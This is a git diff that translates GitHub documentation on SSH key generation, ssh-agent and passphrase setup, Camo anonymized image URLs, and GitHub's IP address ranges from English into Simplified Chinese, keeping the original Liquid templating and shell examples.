+intro: 检查现有 SSH 密钥后，您可以生成新 SSH 密钥以用于身份验证，然后将其添加到 ssh-agent。
 redirect_from:
   - /articles/adding-a-new-ssh-key-to-the-ssh-agent
   - /articles/generating-a-new-ssh-key
@@ -14,23 +14,24 @@ versions:
   ghec: '*'
 topics:
   - SSH
-shortTitle: Generate new SSH key
+shortTitle: 生成新 SSH 密钥
 ---
-## About SSH key generation
 
-If you don't already have an SSH key, you must generate a new SSH key to use for authentication. If you're unsure whether you already have an SSH key, you can check for existing keys. For more information, see "[Checking for existing SSH keys](/github/authenticating-to-github/checking-for-existing-ssh-keys)."
+## 关于 SSH 密钥生成
+
+如果您还没有 SSH 密钥，则必须生成新 SSH 密钥用于身份验证。 如果不确定是否已经拥有 SSH 密钥，您可以检查现有密钥。 更多信息请参阅“[检查现有 SSH 密钥](/github/authenticating-to-github/checking-for-existing-ssh-keys)”。
 
 {% ifversion fpt or ghae or ghes > 3.1 or ghec %}
 
-If you want to use a hardware security key to authenticate to {% data variables.product.product_name %}, you must generate a new SSH key for your hardware security key. You must connect your hardware security key to your computer when you authenticate with the key pair. For more information, see the [OpenSSH 8.2 release notes](https://www.openssh.com/txt/release-8.2).
+如果要使用硬件安全密钥向 {% data variables.product.product_name %} 验证，则必须为硬件安全密钥生成新的 SSH 密钥。 使用密钥对进行身份验证时，您必须将硬件安全密钥连接到计算机。 更多信息请参阅 [OpenSSH 8.2 发行说明](https://www.openssh.com/txt/release-8.2)。
 
 {% endif %}
-If you don't want to reenter your passphrase every time you use your SSH key, you can add your key to the SSH agent, which manages your SSH keys and remembers your passphrase.
+如果不想在每次使用 SSH 密钥时重新输入密码，您可以将密钥添加到 SSH 代理，让它管理您的 SSH 密钥并记住您的密码。
 
-## Generating a new SSH key
+## 生成新 SSH 密钥
 
 {% data reusables.command_line.open_the_multi_os_terminal %}
-2. Paste the text below, substituting in your {% data variables.product.product_name %} email address.
+2. 粘贴下面的文本（替换为您的 {% data variables.product.product_name %} 电子邮件地址）。
     {% ifversion ghae %}
     <!-- GitHub AE is FIPS 140-2 compliant. FIPS does not yet permit keys that use the ed25519 algorithm. -->
   ```shell
@@ -42,7 +43,7 @@ If you don't want to reenter your passphrase every time you use your SSH key, yo
   ```
   {% note %}
 
-  **Note:** If you are using a legacy system that doesn't support the Ed25519 algorithm, use:
+  **注：**如果您使用的是不支持 Ed25519 算法的旧系统，请使用以下命令：
   ```shell
    $ ssh-keygen -t rsa -b 4096 -C "<em>your_email@example.com</em>"
   ```
@@ -50,11 +51,11 @@ If you don't want to reenter your passphrase every time you use your SSH key, yo
   {% endnote %}
   {% endif %}
 
-  This creates a new SSH key, using the provided email as a label.
+  这将以提供的电子邮件地址为标签创建新 SSH 密钥。
   ```shell
   > Generating public/private <em>algorithm</em> key pair.
   ```
-3. When you're prompted to "Enter a file in which to save the key," press Enter. This accepts the default file location.
+3. 提示您“Enter a file in which to save the key（输入要保存密钥的文件）”时，按 Enter 键。 这将接受默认文件位置。
 
   {% mac %}
 
@@ -80,36 +81,36 @@ If you don't want to reenter your passphrase every time you use your SSH key, yo
 
   {% endlinux %}
 
-4. At the prompt, type a secure passphrase. For more information, see ["Working with SSH key passphrases](/articles/working-with-ssh-key-passphrases)."
+4. 在提示时输入安全密码。 更多信息请参阅“[使用 SSH 密钥密码](/articles/working-with-ssh-key-passphrases)”。
   ```shell
   > Enter passphrase (empty for no passphrase): <em>[Type a passphrase]</em>
   > Enter same passphrase again: <em>[Type passphrase again]</em>
   ```
 
-## Adding your SSH key to the ssh-agent
+## 将 SSH 密钥添加到 ssh-agent
 
-Before adding a new SSH key to the ssh-agent to manage your keys, you should have checked for existing SSH keys and generated a new SSH key. <span class="platform-mac">When adding your SSH key to the agent, use the default macOS `ssh-add` command, and not an application installed by [macports](https://www.macports.org/), [homebrew](http://brew.sh/), or some other external source.</span>
+在向 ssh 代理添加新的 SSH 密钥以管理您的密钥之前，您应该检查现有 SSH 密钥并生成新的 SSH 密钥。 <span class="platform-mac">将 SSH 密钥添加到该代理时，应使用默认的 macOS `ssh-add` 命令，而不是使用通过 [macports](https://www.macports.org/), [homebrew](http://brew.sh/) 或某些其他外部来源安装的应用程序。</span>
 
 {% mac %}
 
 {% data reusables.command_line.start_ssh_agent %}
 
-2. If you're using macOS Sierra 10.12.2 or later, you will need to modify your `~/.ssh/config` file to automatically load keys into the ssh-agent and store passphrases in your keychain.
+2. 如果您使用的是 macOS Sierra 10.12.2 或更高版本，则需要修改 `~/.ssh/config` 文件以自动将密钥加载到 ssh-agent 中并在密钥链中存储密码。
 
-    * First, check to see if your `~/.ssh/config` file exists in the default location.
+    * 首先，检查您的 `~/.ssh/config` 文件是否在默认位置。
 
       ```shell
       $ open ~/.ssh/config
       > The file /Users/<em>you</em>/.ssh/config does not exist.
       ```
 
-    * If the file doesn't exist, create the file.
+    * 如果文件不存在，请创建该文件。
 
       ```shell
       $ touch ~/.ssh/config
       ```
 
-    * Open your `~/.ssh/config` file, then modify the file to contain the following lines. If your SSH key file has a different name or path than the example code, modify the filename or path to match your current setup. 
+    * 打开您的 `~/.ssh/config` 文件，然后修改文件以包含以下行。 如果您的 SSH 密钥文件与示例代码具有不同的名称或路径，请修改文件名或路径以匹配您当前的设置。
 
       ```
       Host *
@@ -120,20 +121,20 @@ Before adding a new SSH key to the ssh-agent to manage your keys, you should hav
 
      {% note %}
 
-     **Note:** If you chose not to add a passphrase to your key, you should omit the `UseKeychain` line.
-  
+     **注意：** 如果您选择不向密钥添加密码，应该省略 `UseKeychain` 行。
+
      {% endnote %}
-     
+
       {% mac %}
       {% note %}
 
-      **Note:** If you see an error like this
+      **注意：**如果您看到如下错误
 
       ```
       /Users/USER/.ssh/config: line 16: Bad configuration option: usekeychain
       ```
 
-      add an additional config line to your `Host *` section:
+      向 `Host *` 部分添加一个额外的配置行：
 
       ```
       Host *
@@ -142,22 +143,22 @@ Before adding a new SSH key to the ssh-agent to manage your keys, you should hav
 
       {% endnote %}
       {% endmac %}
-  
-3. Add your SSH private key to the ssh-agent and store your passphrase in the keychain. {% data reusables.ssh.add-ssh-key-to-ssh-agent %}
+
+3. 将 SSH 私钥添加到 ssh-agent 并将密码存储在密钥链中。 {% data reusables.ssh.add-ssh-key-to-ssh-agent %}
    ```shell
    $ ssh-add -K ~/.ssh/id_{% ifversion ghae %}rsa{% else %}ed25519{% endif %}
   ```
   {% note %}
 
-  **Note:** The `-K` option is Apple's standard version of `ssh-add`, which stores the passphrase in your keychain for you when you add an SSH key to the ssh-agent. If you chose not to add a passphrase to your key, run the command without the `-K` option. 
+  **注：**`-K` 选项位于 Apple 的 `ssh-add` 标准版本中，当您将 SSH 密钥添加到 ssh-agent 时，它会将密码存储在您的密钥链中。 如果选择不向密钥添加密码，请运行命令，而不使用 `-K` 选项。
 
-  If you don't have Apple's standard version installed, you may receive an error. For more information on resolving this error, see "[Error: ssh-add: illegal option -- K](/articles/error-ssh-add-illegal-option-k)."
-  
-  In MacOS Monterey (12.0), the `-K` and `-A` flags are deprecated and have been replaced by the `--apple-use-keychain` and `--apple-load-keychain` flags, respectively. 
+  如果您没有安装 Apple 的标准版本，可能会收到错误消息。 有关解决此错误的详细信息，请参阅“[错误：ssh-add：非法选项 -- K](/articles/error-ssh-add-illegal-option-k)”。
+
+  In MacOS Monterey (12.0), the `-K` and `-A` flags are deprecated and have been replaced by the `--apple-use-keychain` and `--apple-load-keychain` flags, respectively.
 
   {% endnote %}
 
-4. Add the SSH key to your account on {% data variables.product.product_name %}. For more information, see "[Adding a new SSH key to your {% data variables.product.prodname_dotcom %} account](/github/authenticating-to-github/adding-a-new-ssh-key-to-your-github-account)."
+4. 将 SSH 密钥添加到 {% data variables.product.product_name %} 上的帐户。 更多信息请参阅“[将新的 SSH 密钥添加到 {% data variables.product.prodname_dotcom %} 帐户](/github/authenticating-to-github/adding-a-new-ssh-key-to-your-github-account)”。
 
 {% endmac %}
 
@@ -165,17 +166,17 @@ Before adding a new SSH key to the ssh-agent to manage your keys, you should hav
 
 {% data reusables.desktop.windows_git_bash %}
 
-1. Ensure the ssh-agent is running. You can use the "Auto-launching the ssh-agent" instructions in "[Working with SSH key passphrases](/articles/working-with-ssh-key-passphrases)", or start it manually:
+1. 确保 ssh-agent 正在运行。 您可以根据“[使用 SSH 密钥密码](/articles/working-with-ssh-key-passphrases)”中的“自动启动 ssh-agent”说明，或者手动启动它：
   ```shell
   # start the ssh-agent in the background
   $ eval "$(ssh-agent -s)"
   > Agent pid 59566
   ```
 
-2. Add your SSH private key to the ssh-agent. {% data reusables.ssh.add-ssh-key-to-ssh-agent %}
+2. 将 SSH 私钥添加到 ssh-agent。 {% data reusables.ssh.add-ssh-key-to-ssh-agent %}
    {% data reusables.ssh.add-ssh-key-to-ssh-agent-commandline %}
 
-3. Add the SSH key to your account on {% data variables.product.product_name %}. For more information, see "[Adding a new SSH key to your {% data variables.product.prodname_dotcom %} account](/github/authenticating-to-github/adding-a-new-ssh-key-to-your-github-account)."
+3. 将 SSH 密钥添加到 {% data variables.product.product_name %} 上的帐户。 更多信息请参阅“[将新的 SSH 密钥添加到 {% data variables.product.prodname_dotcom %} 帐户](/github/authenticating-to-github/adding-a-new-ssh-key-to-your-github-account)”。
 
 {% endwindows %}
 
@@ -183,37 +184,37 @@ Before adding a new SSH key to the ssh-agent to manage your keys, you should hav
 
 {% data reusables.command_line.start_ssh_agent %}
 
-2. Add your SSH private key to the ssh-agent. {% data reusables.ssh.add-ssh-key-to-ssh-agent %}
+2. 将 SSH 私钥添加到 ssh-agent。 {% data reusables.ssh.add-ssh-key-to-ssh-agent %}
    {% data reusables.ssh.add-ssh-key-to-ssh-agent-commandline %}
 
-3. Add the SSH key to your account on {% data variables.product.product_name %}. For more information, see "[Adding a new SSH key to your {% data variables.product.prodname_dotcom %} account](/github/authenticating-to-github/adding-a-new-ssh-key-to-your-github-account)."
+3. 将 SSH 密钥添加到 {% data variables.product.product_name %} 上的帐户。 更多信息请参阅“[将新的 SSH 密钥添加到 {% data variables.product.prodname_dotcom %} 帐户](/github/authenticating-to-github/adding-a-new-ssh-key-to-your-github-account)”。
 
 {% endlinux %}
 
 {% ifversion fpt or ghae or ghes > 3.1 or ghec %}
-## Generating a new SSH key for a hardware security key
+## 为硬件安全密钥生成新的 SSH 密钥
 
-If you are using macOS or Linux, you may need to update your SSH client or install a new SSH client prior to generating a new SSH key. For more information, see "[Error: Unknown key type](/github/authenticating-to-github/error-unknown-key-type)."
+如果您使用 macOS 或 Linux， 在生成新的 SSH 密钥之前，您可能需要更新 SSH 客户端或安装新的 SSH 客户端。 更多信息请参阅“[错误：未知密钥类型](/github/authenticating-to-github/error-unknown-key-type)”。
 
-1. Insert your hardware security key into your computer.
+1. 将硬件安全密钥插入计算机。
 {% data reusables.command_line.open_the_multi_os_terminal %}
-3. Paste the text below, substituting in the email address for your account on {% data variables.product.product_name %}.
+3. 粘贴下面的文本，将电子邮件地址替换为您的 {% data variables.product.product_name %} 帐户的电子邮件地址。
   ```shell
   $ ssh-keygen -t {% ifversion ghae %}ecdsa{% else %}ed25519{% endif %}-sk -C "<em>your_email@example.com</em>"
   ```
-  
+
   {% ifversion not ghae %}
   {% note %}
 
-  **Note:** If the command fails and you receive the error `invalid format` or `feature not supported,` you may be using a hardware security key that does not support the Ed25519 algorithm. Enter the following command instead.
+  **注：**如果命令失败，并且您收到错误 `invalid format` 或 `feature not supported`，则表明您可能在使用不支持 Ed25519 算法的硬件安全密钥。 请输入以下命令。
   ```shell
    $ ssh-keygen -t ecdsa-sk -C "your_email@example.com"
   ```
 
   {% endnote %}
   {% endif %}
-4. When you are prompted, touch the button on your hardware security key.
-5. When you are prompted to "Enter a file in which to save the key," press Enter to accept the default file location.
+4. 出现提示时，请触摸硬件安全密钥上的按钮。
+5. 当提示您“Enter a file in which to save the key（输入要保存密钥的文件）”时，按 Enter 接受默认文件位置。
 
   {% mac %}
 
@@ -239,19 +240,19 @@ If you are using macOS or Linux, you may need to update your SSH client or insta
 
   {% endlinux %}
 
-6. When you are prompted to type a passphrase, press **Enter**.
+6. 当提示您输入密码时，按 **Enter**。
   ```shell
   > Enter passphrase (empty for no passphrase): <em>[Type a passphrase]</em>
   > Enter same passphrase again: <em>[Type passphrase again]</em>
   ```
-7. Add the SSH key to your account on {% data variables.product.prodname_dotcom %}. For more information, see "[Adding a new SSH key to your {% data variables.product.prodname_dotcom %} account](/github/authenticating-to-github/adding-a-new-ssh-key-to-your-github-account)."
+7. 将 SSH 密钥添加到 {% data variables.product.prodname_dotcom %} 上的帐户。 更多信息请参阅“[将新的 SSH 密钥添加到 {% data variables.product.prodname_dotcom %} 帐户](/github/authenticating-to-github/adding-a-new-ssh-key-to-your-github-account)”。
 
 {% endif %}
 
-## Further reading
+## 延伸阅读
 
-- "[About SSH](/articles/about-ssh)"
-- "[Working with SSH key passphrases](/articles/working-with-ssh-key-passphrases)"
+- "[关于 SSH](/articles/about-ssh)"
+- "[使用 SSH 密钥密码](/articles/working-with-ssh-key-passphrases)"
 {%- ifversion fpt or ghec %}
 - "[Authorizing an SSH key for use with SAML single sign-on](/articles/authorizing-an-ssh-key-for-use-with-saml-single-sign-on)"{% ifversion fpt %} in the {% data variables.product.prodname_ghe_cloud %} documentation{% endif %}
 {%- endif %}
diff --git a/translations/zh-CN/content/authentication/connecting-to-github-with-ssh/index.md b/translations/zh-CN/content/authentication/connecting-to-github-with-ssh/index.md
index f052a1f3f4..4c0d044a93 100644
--- a/translations/zh-CN/content/authentication/connecting-to-github-with-ssh/index.md
+++ b/translations/zh-CN/content/authentication/connecting-to-github-with-ssh/index.md
@@ -1,6 +1,6 @@
 ---
-title: Connecting to GitHub with SSH
-intro: 'You can connect to {% data variables.product.product_name %} using the Secure Shell Protocol (SSH), which provides a secure channel over an unsecured network.'
+title: 使用 SSH 连接到 GitHub
+intro: '您可以使用 Secure Shell Protocol (SSH) 连接到 {% data variables.product.product_name %} ，该协议通过不安全的网络提供安全通道。'
 redirect_from:
   - /key-setup-redirect
   - /linux-key-setup
@@ -25,6 +25,6 @@ children:
   - /adding-a-new-ssh-key-to-your-github-account
   - /testing-your-ssh-connection
   - /working-with-ssh-key-passphrases
-shortTitle: Connect with SSH
+shortTitle: 与 SSH 连接
 ---
 
diff --git a/translations/zh-CN/content/authentication/connecting-to-github-with-ssh/working-with-ssh-key-passphrases.md b/translations/zh-CN/content/authentication/connecting-to-github-with-ssh/working-with-ssh-key-passphrases.md
index f9dfd3f00c..633c82e4a2 100644
--- a/translations/zh-CN/content/authentication/connecting-to-github-with-ssh/working-with-ssh-key-passphrases.md
+++ b/translations/zh-CN/content/authentication/connecting-to-github-with-ssh/working-with-ssh-key-passphrases.md
@@ -1,6 +1,6 @@
 ---
-title: Working with SSH key passphrases
-intro: You can secure your SSH keys and configure an authentication agent so that you won't have to reenter your passphrase every time you use your SSH keys.
+title: 使用 SSH 密钥密码
+intro: 您可以保护 SSH 密钥并配置身份验证代理，这样您就不必在每次使用 SSH 密钥时重新输入密码。
 redirect_from:
   - /ssh-key-passphrases
   - /working-with-key-passphrases
@@ -14,13 +14,14 @@ versions:
   ghec: '*'
 topics:
   - SSH
-shortTitle: SSH key passphrases
+shortTitle: SSH 密钥密码
 ---
-With SSH keys, if someone gains access to your computer, they also gain access to every system that uses that key. To add an extra layer of security, you can add a passphrase to your SSH key. You can use `ssh-agent` to securely save your passphrase so you don't have to reenter it.
 
-## Adding or changing a passphrase
+使用 SSH 密钥时，如果有人获得您计算机的访问权限，他们也可以使用该密钥访问每个系统。 要添加额外的安全层，可以向 SSH 密钥添加密码。 您可以使用 `ssh-agent` 安全地保存密码，从而不必重新输入。
 
-You can change the passphrase for an existing private key without regenerating the keypair by typing the following command:
+## 添加或更改密码
+
+通过输入以下命令，您可以更改现有私钥的密码而无需重新生成密钥对：
 
 ```shell
 $ ssh-keygen -p -f ~/.ssh/id_{% ifversion ghae %}rsa{% else %}ed25519{% endif %}
@@ -31,13 +32,13 @@ $ ssh-keygen -p -f ~/.ssh/id_{% ifversion ghae %}rsa{% else %}ed25519{% endif %}
 > Your identification has been saved with the new passphrase.
 ```
 
-If your key already has a passphrase, you will be prompted to enter it before you can change to a new passphrase.
+如果您的密钥已有密码，系统将提示您输入该密码，然后才能更改为新密码。
 
 {% windows %}
 
-## Auto-launching `ssh-agent` on Git for Windows
+## 在 Git for Windows 上自动启动 `ssh-agent`
 
-You can run `ssh-agent` automatically when you open bash or Git shell. Copy the following lines and paste them into your `~/.profile` or `~/.bashrc` file in Git shell:
+您可以在打开 bash 或 Git shell 时自动运行 `ssh-agent`。 复制以下行并将其粘贴到 Git shell 中的 `~/.profile` 或 `~/.bashrc` 文件中：
 
 ``` bash
 env=~/.ssh/agent.env
@@ -63,15 +64,15 @@ fi
 unset env
 ```
 
-If your private key is not stored in one of the default locations (like `~/.ssh/id_rsa`), you'll need to tell your SSH authentication agent where to find it. To add your key to ssh-agent, type `ssh-add ~/path/to/my_key`. For more information, see "[Generating a new SSH key and adding it to the ssh-agent](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent/)"
+如果您的私钥没有存储在默认位置之一（如 `~/.ssh/id_rsa`），您需要告知 SSH 身份验证代理其所在位置。 要将密钥添加到 ssh-agent，请输入 `ssh-add ~/path/to/my_key`。 更多信息请参阅“[生成新的 SSH 密钥并添加到 ssh-agent](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent/)”
 
 {% tip %}
 
-**Tip:** If you want `ssh-agent` to forget your key after some time, you can configure it to do so by running `ssh-add -t <seconds>`.
+**提示：**如果想要 `ssh-agent` 在一段时间后忘记您的密钥，可通过运行 `ssh-add -t <seconds>` 进行配置。
 
 {% endtip %}
 
-Now, when you first run Git Bash, you are prompted for your passphrase:
+现在，当您初次运行 Git Bash 时，系统将提示您输入密码：
 
 ```shell
 > Initializing new SSH agent...
@@ -84,25 +85,25 @@ Now, when you first run Git Bash, you are prompted for your passphrase:
 > Run 'git help <command>' to display help for specific commands.
 ```
 
-The `ssh-agent` process will continue to run until you log out, shut down your computer, or kill the process.
+`ssh-agent` 进程将继续运行，直到您注销、关闭计算机或终止该进程。
 
 {% endwindows %}
 
 {% mac %}
 
-## Saving your passphrase in the keychain
+## 在密钥链中保存密码
 
-On Mac OS X Leopard through OS X El Capitan, these default private key files are handled automatically:
+在 Mac OS X Leopard 上通过 OS X El Capitan，这些默认私钥文件将自动处理：
 
 - *.ssh/id_rsa*
 - *.ssh/identity*
 
-The first time you use your key, you will be prompted to enter your passphrase. If you choose to save the passphrase with your keychain, you won't have to enter it again.
+初次使用密钥时，系统将提示您输入密码。 如果选择使用密钥链保存密码，则无需再次输入密码。
 
-Otherwise, you can store your passphrase in the keychain when you add your key to the ssh-agent. For more information, see "[Adding your SSH key to the ssh-agent](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent#adding-your-ssh-key-to-the-ssh-agent)."
+否则，您可在将密钥添加到 ssh-agent 时在密钥链中存储密码。 更多信息请参阅“[添加 SSH 密钥到 ssh-agent](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent#adding-your-ssh-key-to-the-ssh-agent)”。
 
 {% endmac %}
 
-## Further reading
+## 延伸阅读
 
-- "[About SSH](/articles/about-ssh)"
+- "[关于 SSH](/articles/about-ssh)"
diff --git a/translations/zh-CN/content/authentication/index.md b/translations/zh-CN/content/authentication/index.md
index 4e209b3382..136d517f69 100644
--- a/translations/zh-CN/content/authentication/index.md
+++ b/translations/zh-CN/content/authentication/index.md
@@ -1,6 +1,6 @@
 ---
-title: Authentication
-intro: 'Keep your account and data secure with features like {% ifversion not ghae %}two-factor authentication, {% endif %}SSH{% ifversion not ghae %},{% endif %} and commit signature verification.'
+title: 身份验证
+intro: '通过{% ifversion not ghae %}双重身份验证、{% endif %}SSH{% ifversion not ghae %}、{% endif %}和提交签名验证等功能保持帐户和数据的安全。'
 redirect_from:
   - /categories/56/articles
   - /categories/ssh
diff --git a/translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/about-anonymized-urls.md b/translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/about-anonymized-urls.md
index 23e2375a3b..89117323a0 100644
--- a/translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/about-anonymized-urls.md
+++ b/translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/about-anonymized-urls.md
@@ -1,6 +1,6 @@
 ---
-title: About anonymized URLs
-intro: 'If you upload an image or video to {% data variables.product.product_name %}, the URL of the image or video will be modified so your information is not trackable.'
+title: 关于匿名化 URL
+intro: '如果将图像或视频上传到 {% data variables.product.product_name %}，图像或视频 URL 将会修改，这样便无法跟踪您的信息。'
 redirect_from:
   - /articles/why-do-my-images-have-strange-urls
   - /articles/about-anonymized-image-urls
@@ -14,15 +14,16 @@ topics:
   - Identity
   - Access management
 ---
-To host your images, {% data variables.product.product_name %} uses the [open-source project Camo](https://github.com/atmos/camo). Camo generates an anonymous URL proxy for each file which hides your browser details and related information from other users. The URL starts `https://<subdomain>.githubusercontent.com/`, with different subdomains depending on how you uploaded the image. 
 
-Videos also get anonymized URLs with the same format as image URLs, but are not processed through Camo. This is because {% data variables.product.prodname_dotcom %} does not support externally hosted videos, so the anonymized URL is a link to the uploaded video hosted by {% data variables.product.prodname_dotcom %}.
+为托管您的图像，{% data variables.product.product_name %} 使用 [开源项目 Camo](https://github.com/atmos/camo)。 Camo 为每个文件生成匿名 URL 代理，以隐藏您的浏览器详细信息和来自其他用户的相关信息。 URL 以 `https:///<subdomain>.githubusercontent.com/` 开头，并且根据您如何上传映像而有不同的子域。
 
-Anyone who receives your anonymized URL, directly or indirectly, may view your image or video. To keep sensitive media files private, restrict them to a private network or a server that requires authentication instead of using Camo.
+视频还可以使用与图像 URL 相同的格式获得匿名化 URL，但不会通过 Camo 进行处理。 这是因为 {% data variables.product.prodname_dotcom %} 不支持外部托管的视频，所以匿名 URL 是由 {% data variables.product.prodname_dotcom %} 托管的已上传视频的链接。
 
-## Troubleshooting issues with Camo
+直接或间接收到您的匿名化 URL 的任何人都可查看您的图像或视频。 为对敏感图像文件保密，将它们限于私人网络或需要身份验证的服务器，而不使用 Camo。
 
-In rare circumstances, images that are processed through Camo might not appear on {% data variables.product.prodname_dotcom %}. Here are some steps you can take to determine where the problem lies.
+## Camo 问题故障排除
+
+在偶尔的情况下，通过 Camo 处理的图像可能不会出现在 {% data variables.product.prodname_dotcom %} 上。 下面是可用于确定问题位置的一些步骤。
 
 {% windows %}
 
@@ -34,12 +35,12 @@ Windows users will either need to use the Git PowerShell (which is installed alo
 
 {% endwindows %}
 
-### An image is not showing up
+### 图像不显示
 
-If an image is showing up in your browser but not on {% data variables.product.prodname_dotcom %}, you can try requesting it locally.
+如果图像显示于浏览器中，但未显示在 {% data variables.product.prodname_dotcom %} 上，您可以尝试本地请求该图像。
 
 {% data reusables.command_line.open_the_multi_os_terminal %}
-1. Request the image headers using `curl`.
+1. 使用 `curl` 请求图像标头。
   ```shell
   $ curl -I https://www.my-server.com/images/some-image.png
   > HTTP/2 200
@@ -49,20 +50,20 @@ If an image is showing up in your browser but not on {% data variables.product.p
   > Server: Google Frontend
   > Content-Length: 6507
   ```
-3. Check the value of `Content-Type`. In this case, it's `image/x-png`.
-4. Check that content type against [the list of types supported by Camo](https://github.com/atmos/camo/blob/master/mime-types.json).
+3. 检查 `Content-Type` 的值。 本例中为 `image/x-png`。
+4. 根据 [Camo 支持的类型列表](https://github.com/atmos/camo/blob/master/mime-types.json)检查内容类型。
 
-If your content type is not supported by Camo, you can try several actions:
-  * If you own the server that's hosting the image, modify it so that it returns a correct content type for images.
-  * If you're using an external service for hosting images, contact support for that service.
-  * Make a pull request to Camo to add your content type to the list.
+如果您的内容类型不受 Camo 支持，可尝试以下几项操作：
+  * 如果您拥有托管该图像的服务器，请修改它以让其返回正确内容类型的图像。
+  * 如果使用外部服务托管图像，请联系该服务的支持。
+  * 建立对 Camo 的拉取请求以将内容类型添加到列表。
 
-### An image that changed recently is not updating
+### 最近更改的图像不更新
 
-If you changed an image recently and it's showing up in your browser but not {% data variables.product.prodname_dotcom %}, you can try resetting the cache of the image.
+如果最近更改了图像并且它显示在浏览器中，但未显示在 {% data variables.product.prodname_dotcom %} 上，可尝试重置图像缓存。
 
 {% data reusables.command_line.open_the_multi_os_terminal %}
-1. Request the image headers using `curl`.
+1. 使用 `curl` 请求图像标头。
   ```shell
   $ curl -I https://www.my-server.com/images/some-image.png
   > HTTP/2 200
@@ -72,29 +73,29 @@ If you changed an image recently and it's showing up in your browser but not {%
   > Server: Jetty(8.y.z-SNAPSHOT)
   ```
 
-Check the value of `Cache-Control`. In this example, there's no `Cache-Control`. In that case:
-  * If you own the server that's hosting the image, modify it so that it returns a `Cache-Control` of `no-cache` for images.
-  * If you're using an external service for hosting images, contact support for that service.
+检查 `Cache-Control` 的值。 本例中没有 `Cache-Control`。 在这种情况下：
+  * 如果您拥有托管该图像的服务器，请修改它以让其返回图像的 `no-cache` 的 `Cache-Control`。
+  * 如果使用外部服务托管图像，请联系该服务的支持。
 
- If `Cache-Control` *is* set to `no-cache`, contact {% data variables.contact.contact_support %} or search the {% data variables.contact.community_support_forum %}.
+ 如果 `Cache-Control` *设置*为 `no-cache`，请联系 {% data variables.contact.contact_support %} 或搜索 {% data variables.contact.community_support_forum %}。
 
-### Removing an image from Camo's cache
+### 从 Camo 的缓存中删除图像
 
-Purging the cache forces every {% data variables.product.prodname_dotcom %} user to re-request the image, so you should use it very sparingly and only in the event that the above steps did not work.
+清除缓存会强制每个 {% data variables.product.prodname_dotcom %} 用户重新请求图像，因此应非常谨慎地使用此操作，仅在上述步骤无效时才使用。
 
 {% data reusables.command_line.open_the_multi_os_terminal %}
-1. Purge the image using `curl -X PURGE` on the Camo URL.
+1. 使用 `curl -X PURGE` 在 Camo URL 上清除图像。
   ```shell
   $ curl -X PURGE https://camo.githubusercontent.com/4d04abe0044d94fefcf9af2133223....
   > {"status": "ok", "id": "216-8675309-1008701"}
   ```
 
-### Viewing images on private networks
+### 在私人网络上查看图像
 
-If an image is being served from a private network or from a server that requires authentication, it can't be viewed by {% data variables.product.prodname_dotcom %}. In fact, it can't be viewed by any user without asking them to log into the server.
+如果图像从私人网络或需要身份验证的服务器提供，则无法通过 {% data variables.product.prodname_dotcom %} 查看。 事实上，未登录服务器的任何用户都无法查看。
 
-To fix this, please move the image to a service that is publicly available.
+要解决此问题，请将图像移至公共的服务。
 
-## Further reading
+## 延伸阅读
 
-- "[Proxying user images](https://github.com/blog/1766-proxying-user-images)" on {% data variables.product.prodname_blog %}
+- {% data variables.product.prodname_blog %} 上的"[代理用户图像](https://github.com/blog/1766-proxying-user-images)"
diff --git a/translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/about-githubs-ip-addresses.md b/translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/about-githubs-ip-addresses.md
index 480901f678..66f03936b6 100644
--- a/translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/about-githubs-ip-addresses.md
+++ b/translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/about-githubs-ip-addresses.md
@@ -1,6 +1,6 @@
 ---
-title: About GitHub's IP addresses
-intro: '{% data variables.product.product_name %} serves applications from multiple IP address ranges, which are available using the API.'
+title: 关于 GitHub 的 IP 地址
+intro: '{% data variables.product.product_name %} 可服务于多个 IP 地址范围的应用程序，使用 API 可获取地址。'
 redirect_from:
   - /articles/what-ip-addresses-does-github-use-that-i-should-whitelist
   - /categories/73/articles
@@ -16,25 +16,25 @@ versions:
 topics:
   - Identity
   - Access management
-shortTitle: GitHub's IP addresses
+shortTitle: GitHub 的 IP 地址
 ---
 
-You can retrieve a list of {% data variables.product.prodname_dotcom %}'s IP addresses from the [meta](https://api.github.com/meta) API endpoint. For more information, see "[Meta](/rest/reference/meta)."
+您可以从 [meta](https://api.github.com/meta) API 端点检索 {% data variables.product.prodname_dotcom %} 的 IP 地址列表。 更多信息请参阅“[元数据](/rest/reference/meta)”。
 
 {% note %}
 
-**Note:** The list of {% data variables.product.prodname_dotcom %} IP addresses returned by the Meta API is not intended to be an exhaustive list. For example, IP addresses for some {% data variables.product.prodname_dotcom %} services might not be listed, such as LFS or {% data variables.product.prodname_registry %}.
+**注意：** Meta API 返回的 {% data variables.product.prodname_dotcom %} IP 地址列表并非详尽无遗。 例如，某些 {% data variables.product.prodname_dotcom %} 服务的 IP 地址可能不会列出，例如 LFS 或 {% data variables.product.prodname_registry %}。
 
 {% endnote %}
 
 These IP addresses are used by {% data variables.product.prodname_dotcom %} to serve our content, deliver webhooks, and perform hosted {% data variables.product.prodname_actions %} builds.
 
-These ranges are in [CIDR notation](https://en.wikipedia.org/wiki/Classless_Inter-Domain_Routing#CIDR_notation). You can use an online conversion tool such as this  [CIDR / VLSM Supernet Calculator](http://www.subnet-calculator.com/cidr.php) to convert from CIDR notation to IP address ranges.
+这些范围在 [CIDR 表示法](https://en.wikipedia.org/wiki/Classless_Inter-Domain_Routing#CIDR_notation)中。 您可以使用在线转换工具（例如s这个  [CIDR / VLSM Supernet Calculator](http://www.subnet-calculator.com/cidr.php)）将 CIDR 表示法转换为 IP 地址范围。
 
-We make changes to our IP addresses from time to time. We do not recommend allowing by IP address, however if you use these IP ranges we strongly encourage regular monitoring of our API.
+我们会不时更改我们的 IP 地址。 不建议按 IP 地址来创建允许名单，但如果您使用这些 IP 范围，强烈建议经常监控我们的 API。
 
-For applications to function, you must allow TCP ports 22, 80, 443, and 9418 via our IP ranges for `github.com`.
+为使应用程序运行，您必须通过我们用于 `github.com` 的 IP 范围允许 TCP 端口 22、80、443 和 9418。
 
-## Further reading
+## 延伸阅读
